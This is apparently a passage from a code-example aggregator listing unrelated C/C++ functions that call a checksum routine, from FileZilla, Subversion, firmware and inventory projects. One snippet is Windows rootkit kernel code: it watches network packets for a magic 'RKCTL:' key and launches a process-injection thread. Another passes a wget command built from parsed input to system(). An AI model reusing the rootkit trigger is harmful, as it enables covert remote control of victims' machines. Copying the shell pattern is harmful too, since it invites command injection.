				if (strstr(Message, "DA1"))
				{
					if (Start = strchr(Message, 'L'))
					{
						// DA1,2,19:35:37,51.95023,-2.54445,160*05%0A

						if (sscanf(Start+1, "%lf,%lf,%u[", &Latitude, &Longitude, &Altitude))
						{
							printf("Altitude = %u\n", Altitude);
							sprintf(Telemetry, "%s,%d,%s,%lf,%lf,%u", "DA1", ++Sentence_Count, Now(), Latitude, Longitude, Altitude);
							sprintf(Command, "wget -O habitat.txt \"http://habitat.habhub.org/transition/payload_telemetry\" --post-data \"callsign=DA0&string=\\$\\$%s*%s%s&string_type=ascii&metadata={}\"",	Telemetry, Checksum(Telemetry), "\%0A");
							printf("%s\n", Command);
							system(Command);
						}
					}
				}
#endif
			}
		}
		else
		{
Ejemplo n.º 16
0
int CFileZillaEngine::Command(const CCommand &command)
{
    if (command.GetId() != cmd_cancel && IsBusy())
        return FZ_REPLY_BUSY;

    m_bIsInCommand = true;

    int res = FZ_REPLY_INTERNALERROR;

    printf("command id: %d\n", command.GetId());
    switch (command.GetId())
    {
    case cmd_connect:
        res = Connect(reinterpret_cast<const CConnectCommand &>(command));
        break;
    case cmd_disconnect:
        res = Disconnect(reinterpret_cast<const CDisconnectCommand &>(command));
        break;
    case cmd_cancel:
        res = Cancel(reinterpret_cast<const CCancelCommand &>(command));
        break;
    case cmd_list:
        res = List(reinterpret_cast<const CListCommand &>(command));
        break;
    case cmd_transfer:
        res = FileTransfer(reinterpret_cast<const CFileTransferCommand &>(command));
        break;
    case cmd_raw:
        res = RawCommand(reinterpret_cast<const CRawCommand&>(command));
        break;
    case cmd_delete:
        res = Delete(reinterpret_cast<const CDeleteCommand&>(command));
        break;
    case cmd_removedir:
        res = RemoveDir(reinterpret_cast<const CRemoveDirCommand&>(command));
        break;
    case cmd_mkdir:
        res = Mkdir(reinterpret_cast<const CMkdirCommand&>(command));
        break;
    case cmd_rename:
        res = Rename(reinterpret_cast<const CRenameCommand&>(command));
        break;
    case cmd_chmod:
        res = Chmod(reinterpret_cast<const CChmodCommand&>(command));
        break;
    case cmd_checksum:
        printf("recognized the checksum command\n");
        res = Checksum(reinterpret_cast<const CChecksumCommand&>(command));
        break;
    default:
        return FZ_REPLY_SYNTAXERROR;
    }

    if (res != FZ_REPLY_WOULDBLOCK)
        ResetOperation(res);

    m_bIsInCommand = false;

    if (command.GetId() != cmd_disconnect)
        res |= m_nControlSocketError;
    else if (res & FZ_REPLY_DISCONNECTED)
        res = FZ_REPLY_OK;
    m_nControlSocketError = 0;

    return res;
}
//--------------------------------------------------------------------------------------
void NTAPI NdisHookHandleBuffer(PVOID MiniportHandle, PVOID Buffer, ULONG Size)
{
    if (Size < sizeof(NET_ETH_HEADER) + sizeof(NET_IPv4_HEADER))
    {
        // buffer is too small
        return;
    }

    // check the ethernet header
    PNET_ETH_HEADER Eth = (PNET_ETH_HEADER)Buffer;
    if (Eth->Type != HTONS(ETH_P_IP))
    {
        // not a internet protocl packet
        return;
    }

    // check the IP header
    PNET_IPv4_HEADER Ip = (PNET_IPv4_HEADER)((PUCHAR)Eth + sizeof(NET_ETH_HEADER));

    if (Ip->Version != 4 || Ip->HeaderLength * 4 != sizeof(NET_IPv4_HEADER))
    {
        // not a IPv4 packet
        return;
    }

    if (Ip->Protocol != IPPROTO_ICMP && Ip->Protocol != IPPROTO_IP && Ip->Protocol != IPPROTO_UDP)
    {
        // unknown protocol
        return;
    }

    if (HTONS(Ip->TotalLength) + sizeof(NET_ETH_HEADER) > Size)
    {
        // total length out of bounds
        return;
    }

    // remember and reset checksum
    USHORT Sum = Ip->Checksum; Ip->Checksum = 0;

    // validate checksum
    if (Sum != Checksum(Ip, sizeof(NET_IPv4_HEADER)))
    {
        return;
    }

    char Dst[16], Src[16];
    strcpy(Dst, inet_ntoa(Ip->Dst));    
    strcpy(Src, inet_ntoa(Ip->Src));    

    DbgMsg(
        __FUNCTION__"() IP: From = %s, To = %s, Protocol = %d, Length = %d\n",
        Src, Dst, Ip->Protocol, HTONS(Ip->TotalLength)
    );

    // find magic sequence in packet
    char *lpszMagic = "RKCTL:" ROOTKIT_CTL_KEY;
    for (ULONG i = 0; i < Size - strlen(lpszMagic); i++)
    {
        if (RtlCompareMemory((PUCHAR)Buffer + i, lpszMagic, strlen(lpszMagic)) == strlen(lpszMagic))
        {
            DbgMsg(__FUNCTION__"(): Magic sequence has been find in network packet!\n");
            
            // we are at DPC level: create thread for execution of process injection code
            HANDLE hThread = NULL;
            NTSTATUS ns = PsCreateSystemThread(
                &hThread, 
                THREAD_ALL_ACCESS, 
                NULL, NULL, NULL, 
                InjectPayloadThread, 
                NULL
            );
            if (NT_SUCCESS(ns))
            {
                ZwClose(hThread);
            }
            else
            {
                DbgMsg("PsCreateSystemThread() fails: 0x%.8x\n", ns);
            }

            break;
        }
    }    
}
Ejemplo n.º 18
0
void
Inventory::_AddHardwareInfo(tinyxml2::XMLElement* parent)
{
	tinyxml2::XMLElement* hardware = fDocument->NewElement("HARDWARE");

	tinyxml2::XMLElement* checksum = fDocument->NewElement("CHECKSUM");

	checksum->LinkEndChild(fDocument->NewText(int_to_string(Checksum()).c_str()));

	// Find first active interface
	NetworkRoster roster;
	NetworkInterface interface;
	unsigned int cookie = 0;
	while (roster.GetNextInterface(&cookie, interface) == 0) {
		if (interface.Name() != "lo" && interface.IPAddress() != ""
				&& interface.IPAddress() != "0.0.0.0")
			break;
	}

	std::string defaultGateway;
	roster.GetDefaultGateway(interface.Name().c_str(), defaultGateway);
	tinyxml2::XMLElement* defaultGW = fDocument->NewElement("DEFAULTGATEWAY");
	defaultGW->LinkEndChild(fDocument->NewText(defaultGateway.c_str()));

	tinyxml2::XMLElement* description = fDocument->NewElement("DESCRIPTION");
	std::string descriptionString;
	descriptionString.append(fMachine->OSInfo().machine).append("/");
	description->LinkEndChild(fDocument->NewText(descriptionString.c_str()));

	tinyxml2::XMLElement* ipAddress = fDocument->NewElement("IPADDR");
	ipAddress->LinkEndChild(fDocument->NewText(interface.IPAddress().c_str()));


	tinyxml2::XMLElement* memory = fDocument->NewElement("MEMORY");
	memory->LinkEndChild(fDocument->NewText(fMachine->OSInfo().memory.c_str()));

	tinyxml2::XMLElement* name = fDocument->NewElement("NAME");
	name->LinkEndChild(fDocument->NewText(fMachine->HostName().c_str()));

	tinyxml2::XMLElement* osComments = fDocument->NewElement("OSCOMMENTS");
	osComments->LinkEndChild(fDocument->NewText(fMachine->OSInfo().comments.c_str()));

	tinyxml2::XMLElement* osName = fDocument->NewElement("OSNAME");
	osName->LinkEndChild(fDocument->NewText(fMachine->OSInfo().os_description.c_str()));

	tinyxml2::XMLElement* osVersion = fDocument->NewElement("OSVERSION");
	osVersion->LinkEndChild(fDocument->NewText(fMachine->OSInfo().os_release.c_str()));

	tinyxml2::XMLElement* processorN = fDocument->NewElement("PROCESSORN");
	processorN->LinkEndChild(fDocument->NewText(int_to_string(fMachine->CountProcessors()).c_str()));

	tinyxml2::XMLElement* processorS = fDocument->NewElement("PROCESSORS");
	processorS->LinkEndChild(fDocument->NewText(fMachine->ProcessorSpeed(0).c_str()));

	tinyxml2::XMLElement* processorT = fDocument->NewElement("PROCESSORT");
	processorT->LinkEndChild(fDocument->NewText(fMachine->ProcessorType(0).c_str()));

	tinyxml2::XMLElement* swap = fDocument->NewElement("SWAP");
	swap->LinkEndChild(fDocument->NewText(fMachine->OSInfo().swap.c_str()));

	tinyxml2::XMLElement* userID = fDocument->NewElement("USERID");
	// TODO: Fix this
	userID->LinkEndChild(fDocument->NewText("root"));
	//<USERID>root</USERID>

	tinyxml2::XMLElement* uuid = fDocument->NewElement("UUID");
	uuid->LinkEndChild(fDocument->NewText(fMachine->SystemUUID().c_str()));

	tinyxml2::XMLElement* vmSystem = fDocument->NewElement("VMSYSTEM");
	vmSystem->LinkEndChild(fDocument->NewText("Physical"));
	// <VMSYSTEM>Xen</VMSYSTEM>

	tinyxml2::XMLElement* workGroup = fDocument->NewElement("WORKGROUP");
	workGroup->LinkEndChild(fDocument->NewText(fMachine->OSInfo().domain_name.c_str()));

	hardware->LinkEndChild(checksum);
	hardware->LinkEndChild(defaultGW);
	hardware->LinkEndChild(description);
	hardware->LinkEndChild(ipAddress);

	try {
		LoggedUsers users;
		if (users.Count() > 0) {
			user_entry user = users.UserEntryAt(users.Count() - 1);
			tinyxml2::XMLElement* dateLastLoggedUser = fDocument->NewElement("DATELASTLOGGEDUSER");
			dateLastLoggedUser->LinkEndChild(fDocument->NewText(user.logintimestring.c_str()));
			hardware->LinkEndChild(dateLastLoggedUser);
			tinyxml2::XMLElement* lastLoggedUser = fDocument->NewElement("LASTLOGGEDUSER");
			lastLoggedUser->LinkEndChild(fDocument->NewText(user.login.c_str()));
			hardware->LinkEndChild(lastLoggedUser);
		}
	} catch (...) {
		// Not a big issue, after all.
	}

	hardware->LinkEndChild(memory);
	hardware->LinkEndChild(name);
	hardware->LinkEndChild(osComments);
	hardware->LinkEndChild(osName);
	hardware->LinkEndChild(osVersion);
	hardware->LinkEndChild(processorN);
	hardware->LinkEndChild(processorS);
	hardware->LinkEndChild(processorT);
	hardware->LinkEndChild(swap);
	hardware->LinkEndChild(userID);
	hardware->LinkEndChild(uuid);
	hardware->LinkEndChild(vmSystem);
	hardware->LinkEndChild(workGroup);
	parent->LinkEndChild(hardware);
}
Ejemplo n.º 19
0
//-------------------------------------------------------------------------
int32_t hidProcessCommand( uint8_t *pu8Buffer, uint32_t u32BufferLen )
{
    uint32_t u32sum;

    USBD_MemCopy( (uint8_t*)&hidCmd, pu8Buffer, u32BufferLen );

    /* Check size */
    if( ( hidCmd.u8Size > sizeof(hidCmd) ) || ( hidCmd.u8Size > u32BufferLen ) )
        return -1;

    /* Check signature */
    if( hidCmd.u32Signature != HID_CMD_SIGNATURE )
        return -1;

    /* Calculate checksum & check it*/
    u32sum = Checksum((uint8_t *)&hidCmd, hidCmd.u8Size);
    if( u32sum != hidCmd.u32Checksum )
        return -1;

    switch( hidCmd.u8Cmd )
    {
		case HID_CMD_GETINFO:
		{
			hidGetInfoCmd( &hidCmd );
			break;
		}
		case HID_CMD_LDUPDATE:
		{
			hidLDUpdateCmd( &hidCmd );
			break;
		}
		case HID_CMD_SETPARAMS:
		{
			hidSetParamCmd( &hidCmd );
			break;
		}
		case HID_CMD_RESETPARAMS:
		{
			hidResetParamCmd( &hidCmd );
			break;
		}
		case HID_CMD_SETLOGO:
		{
			hidBootLogoCmd( &hidCmd );
			break;
		}
		case HID_CMD_RESET :
		{
			hidResetSysCmd( &hidCmd );
			break;
		}
		case HID_CMD_FMCREAD :
		{
			hidFMCReadCmd( &hidCmd );
			break;
		}
		case HID_CMD_SCREENSHOT:
		{
			hidScreenshot( &hidCmd );
			break;
		}
		default:
		{
            return -1;
		}
    }

    return 0;
}
Ejemplo n.º 20
0
//----- (00002788) --------------------------------------------------------
__myevic__ void hidGetOutReport( uint8_t *pu8Buffer, uint32_t u32BufferLen )
{
	uint8_t u8Cmd;
	uint8_t *hidDataPtr;
	uint32_t u32StartAddr;
	uint32_t u32DataSize;
	uint32_t u32ByteCount;
	uint32_t u32Page;

	uint32_t sz;
	uint32_t veo;

	u8Cmd			= hidCmd.u8Cmd;
	u32StartAddr	= hidCmd.u32Arg1;
	u32DataSize		= hidCmd.u32Arg2;
	u32ByteCount	= hidCmd.u32Signature;
	hidDataPtr		= &hidData[hidDataIndex];

	switch ( hidCmd.u8Cmd )
	{
		case HID_CMD_SETPARAMS:
		{
			USBD_MemCopy( hidDataPtr, pu8Buffer, EP3_MAX_PKT_SIZE );
			hidDataIndex += EP3_MAX_PKT_SIZE;

			if ( hidDataIndex >= u32DataSize )
			{
				u8Cmd = HID_CMD_NONE;

				if ( u32StartAddr + u32DataSize > FMC_FLASH_PAGE_SIZE )
				{
					sz = FMC_FLASH_PAGE_SIZE - u32StartAddr;
				}
				else
				{
					sz = u32DataSize;
				}

				MemCpy( (uint8_t*)(&hidDFData) + u32StartAddr, hidData, sz );

				myprintf( "Set Sys Param complete.\n" );

				dfStruct_t * df = (dfStruct_t*)hidDFData;

				if ( Checksum( (uint8_t*)df->params, FMC_FLASH_PAGE_SIZE - 4 ) == df->Checksum )
				{
					myprintf( "\tCompany ID ............................ [0x%08x]\n",
								df->i.fmcCID );
					myprintf( "\tDevice ID ............................. [0x%08x]\n",
								df->i.fmcDID  );
					myprintf( "\tProduct ID ............................ [0x%08x]\n",
								df->i.fmcPID );
					myprintf( "\tu8UpdateAPRom ......................... [0x%08x]\n",
								df->p.BootFlag );

					MemCpy( DataFlash.params, df->params, DATAFLASH_PARAMS_SIZE );

					DFCheckValuesValidity();
					UpdateDataFlash();

					if ( df->i.Year >= 2000 && df->i.Year <= 2099 )
					{
						S_RTC_TIME_DATA_T rtd;
						rtd.u32Year = df->i.Year;
						rtd.u32Month = df->i.Month;
						rtd.u32Day = df->i.Day;
						rtd.u32DayOfWeek = 0;
						rtd.u32Hour = df->i.Hour;
						rtd.u32Minute = df->i.Minute;
						rtd.u32Second = df->i.Second;
						rtd.u32TimeScale = RTC_CLOCK_24;
						SetRTC( &rtd );
					}
					
					gFlags.refresh_display = 1;
				}
				else
				{
					myprintf( "Sys Param Receive fail.\n" );
				}

				hidDataIndex = 0;
			}

			break;
		}

		case HID_CMD_SETLOGO:
		{
			USBD_MemCopy( hidDataPtr, pu8Buffer, EP3_MAX_PKT_SIZE );
			hidDataIndex += EP3_MAX_PKT_SIZE;

			if ( hidDataIndex < FMC_FLASH_PAGE_SIZE && hidDataIndex + u32ByteCount < u32DataSize )
			{
				break;
			}

			u32Page = u32StartAddr + u32ByteCount;

			myprintf( "Writing page %d\n", u32Page );

			SYS_UnlockReg();
			FMC_ENABLE_ISP();
			FMC_ENABLE_AP_UPDATE();

			if ( FMCEraseWritePage( u32Page, (uint32_t*)hidData ) )
			{
				myprintf( "Data Flash Erase error!\n" );
			}

			veo = FMCVerifyPage( u32Page, (uint32_t*)hidData );
			if ( veo )
			{
				myprintf( "Data Flash Verify error! 0x%x\n", 4 * veo - 4 );
			}

			MemClear( hidData, FMC_FLASH_PAGE_SIZE );
			u32ByteCount += hidDataIndex;

			myprintf( "g_u32BytesInPageBuf %d, u32LenCnt 0x%x\n", hidDataIndex, u32ByteCount );

			FMC_DISABLE_AP_UPDATE();
			FMC_DISABLE_ISP();
			SYS_LockReg();

			if ( u32ByteCount < u32DataSize )
			{
				hidDataIndex = 0;
			}
			else
			{
				u8Cmd = HID_CMD_NONE;
				myprintf( "set boot logo command complete.\n" );
			}

			break;
		}

		case HID_CMD_LDUPDATE:
		{
			USBD_MemCopy( hidDataPtr, pu8Buffer, EP3_MAX_PKT_SIZE );
			hidDataIndex += EP3_MAX_PKT_SIZE;

			if ( hidDataIndex < FMC_FLASH_PAGE_SIZE && hidDataIndex + u32ByteCount < u32DataSize )
			{
				break;
			}

			u32Page = u32StartAddr + u32ByteCount;
			myprintf( "Writing page 0x%08X\n", u32Page );

			SYS_UnlockReg();
			FMC_ENABLE_ISP();
			FMC_EnableLDUpdate();

			if ( FMCEraseWritePage( u32Page, (uint32_t*)hidData ) )
			{
				myprintf( "Data Flash Erase error!\n" );
			}

			veo = FMCVerifyPage( u32Page, (uint32_t*)hidData );
			if ( veo )
			{
				myprintf( "Data Flash Verify error! 0x%x\n", 4 * veo - 4 );
			}

			MemClear( hidData, FMC_FLASH_PAGE_SIZE );
			u32ByteCount += hidDataIndex;
			hidDataIndex = 0;

			myprintf( "g_u32BytesInPageBuf %d, u32LenCnt 0x%x\n", hidDataIndex, u32ByteCount );

			FMC_DisableLDUpdate();
			FMC_DISABLE_ISP();
			SYS_LockReg();

			if ( u32ByteCount >= u32DataSize )
			{
				u8Cmd = HID_CMD_NONE;
				myprintf( "Update LDROM command complete.\n" );
			}
			
			break;
		}

		default:
		{
			if ( hidProcessCommand( pu8Buffer, u32BufferLen ) )
			{
				myprintf( "Unknown HID command!\n" );
			}
			return;
		}
	}

	hidCmd.u8Cmd = u8Cmd;
	hidCmd.u32Signature = u32ByteCount;
}
Ejemplo n.º 21
0
jobject
CreateJ::Info(const char *path, const svn_client_info2_t *info)
{
  JNIEnv *env = JNIUtil::getEnv();

  // Create a local frame for our references
  env->PushLocalFrame(LOCAL_FRAME_SIZE);
  if (JNIUtil::isJavaExceptionThrown())
    return NULL;

  jclass clazz = env->FindClass(JAVA_PACKAGE "/types/Info");
  if (JNIUtil::isJavaExceptionThrown())
    POP_AND_RETURN_NULL;

  static jmethodID mid = 0;
  if (mid == 0)
    {
      mid = env->GetMethodID(clazz, "<init>",
                             "(Ljava/lang/String;Ljava/lang/String;"
                             "Ljava/lang/String;J"
                             "L"JAVA_PACKAGE"/types/NodeKind;"
                             "Ljava/lang/String;Ljava/lang/String;"
                             "JJLjava/lang/String;"
                             "L"JAVA_PACKAGE"/types/Lock;Z"
                             "L"JAVA_PACKAGE"/types/Info$ScheduleKind;"
                             "Ljava/lang/String;JJ"
                             "L"JAVA_PACKAGE"/types/Checksum;"
                             "Ljava/lang/String;JJ"
                             "L"JAVA_PACKAGE"/types/Depth;Ljava/util/Set;)V");
      if (mid == 0 || JNIUtil::isJavaExceptionThrown())
        POP_AND_RETURN_NULL;
    }

  jstring jpath = JNIUtil::makeJString(path);
  if (JNIUtil::isJavaExceptionThrown())
    POP_AND_RETURN_NULL;

  jstring jwcroot = NULL;
  jstring jcopyFromUrl = NULL;
  jobject jchecksum = NULL;
  jstring jchangelist = NULL;
  jobject jconflicts = NULL;
  jobject jscheduleKind = NULL;
  jobject jdepth = NULL;
  jlong jworkingSize = -1;
  jlong jcopyfrom_rev = -1;
  jlong jtext_time = -1;
  if (info->wc_info)
    {
      jwcroot = JNIUtil::makeJString(info->wc_info->wcroot_abspath);
      if (JNIUtil::isJavaExceptionThrown())
        POP_AND_RETURN_NULL;

      jcopyFromUrl = JNIUtil::makeJString(info->wc_info->copyfrom_url);
      if (JNIUtil::isJavaExceptionThrown())
        POP_AND_RETURN_NULL;

      jchecksum = Checksum(info->wc_info->checksum);
      if (JNIUtil::isJavaExceptionThrown())
        POP_AND_RETURN_NULL;

      jchangelist = JNIUtil::makeJString(info->wc_info->changelist);
      if (JNIUtil::isJavaExceptionThrown())
        POP_AND_RETURN_NULL;

      jscheduleKind = EnumMapper::mapScheduleKind(info->wc_info->schedule);
      if (JNIUtil::isJavaExceptionThrown())
        POP_AND_RETURN_NULL;

      jdepth = EnumMapper::mapDepth(info->wc_info->depth);
      if (JNIUtil::isJavaExceptionThrown())
        POP_AND_RETURN_NULL;

      /* ### Maybe rename the java fields while we can */
      jworkingSize = info->wc_info->recorded_size;
      jtext_time = info->wc_info->recorded_time;

      jcopyfrom_rev = info->wc_info->copyfrom_rev;

      if (info->wc_info->conflicts && info->wc_info->conflicts->nelts > 0)
        {
          std::vector<jobject> jconflict_vec;

          for (int i = 0; i < info->wc_info->conflicts->nelts; i++)
            {
              const svn_wc_conflict_description2_t *conflict = APR_ARRAY_IDX(
                                info->wc_info->conflicts, i,
                                const svn_wc_conflict_description2_t *);

              jobject jconflict = ConflictDescriptor(conflict);
              if (JNIUtil::isJavaExceptionThrown())
                POP_AND_RETURN_NULL;

              jconflict_vec.push_back(jconflict);
            }

          jconflicts = Set(jconflict_vec);
          if (JNIUtil::isJavaExceptionThrown())
            POP_AND_RETURN_NULL;
        }